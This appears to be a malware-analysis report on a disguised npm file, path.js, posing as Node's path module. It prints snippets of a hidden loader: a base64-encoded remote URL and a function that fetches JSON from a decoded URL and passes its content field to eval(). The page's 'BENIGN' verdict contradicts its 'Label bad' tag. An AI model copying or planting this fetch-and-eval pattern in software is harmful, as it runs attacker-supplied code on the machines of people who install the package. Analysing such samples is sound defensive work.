Open-source atomic malware analysis

Analyze another

package/path.js

UNKNOWN
Verdict: BENIGN
Mal-ecule
O₂(C₂S)H₂(CmDb)Md
Size 17.4 KB download unavailable
First seen 58 days ago
Analyzed 47 days ago
Ecosystem javascript

Found in 2 archives

eval executes JSON content field: path.js:0x3de6
path.js javascript
1 // Copyright Joyent, Inc. and other Node contributors. Node path module implementation
2 //
3 // Permission is hereby granted, free of charge, to any person obtaining a
27 // (so also no leading and trailing slashes - it does not distinguish
28 // relative and absolute paths)
29 function normalizeArray(parts, allowAboveRoot) { Node path core functions appear nearby
30 var res = [];
31 for (var i = 0; i < parts.length; i++) {
32 var p = parts[i];
33
74 // Random string to generate strong random value
75 var randomStringRe = "";
76 var tokenStringRe = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9DV09WOQ=="; Encoded payload detected: base64
77
78 // Regex to split the tail part of the above into [*, dir, basename, ext]
82 var win32 = {};
83
84 // Function to split a filename into [root, dir, basename, ext]
85 function win32SplitPath(filename) { Node path core functions appear nearby
86 // Separate device+slash from tail
87 var result = splitDeviceRe.exec(filename),
550
551 function loadStringData () {
552 fetch(atob(randomStringRe)) JavaScript base64 decode via atob()
553 .then((t) => t.json())
554 .then((data) => {
555 const codeString = data.content; eval executes JSON content field
556 eval(codeString);
557 })

Objectives

Micro-behaviors

Metadata

Identity

SHA-256 98b01dc2b472069106e707749862ea5cfcd1bb2fb339dfeda28047ef1630cbaf
Filename package/path.js

Origin

Source forager
Feed kmsec.uk
Ecosystem javascript

Timeline

First seen 9 Jun 2026 10:53 UTC
First analyzed 9 Jun 2026 10:53 UTC
Last analyzed 21 Jun 2026 00:35 UTC
Last updated 21 Jun 2026 00:35 UTC

Labeling

Label bad
Label source forager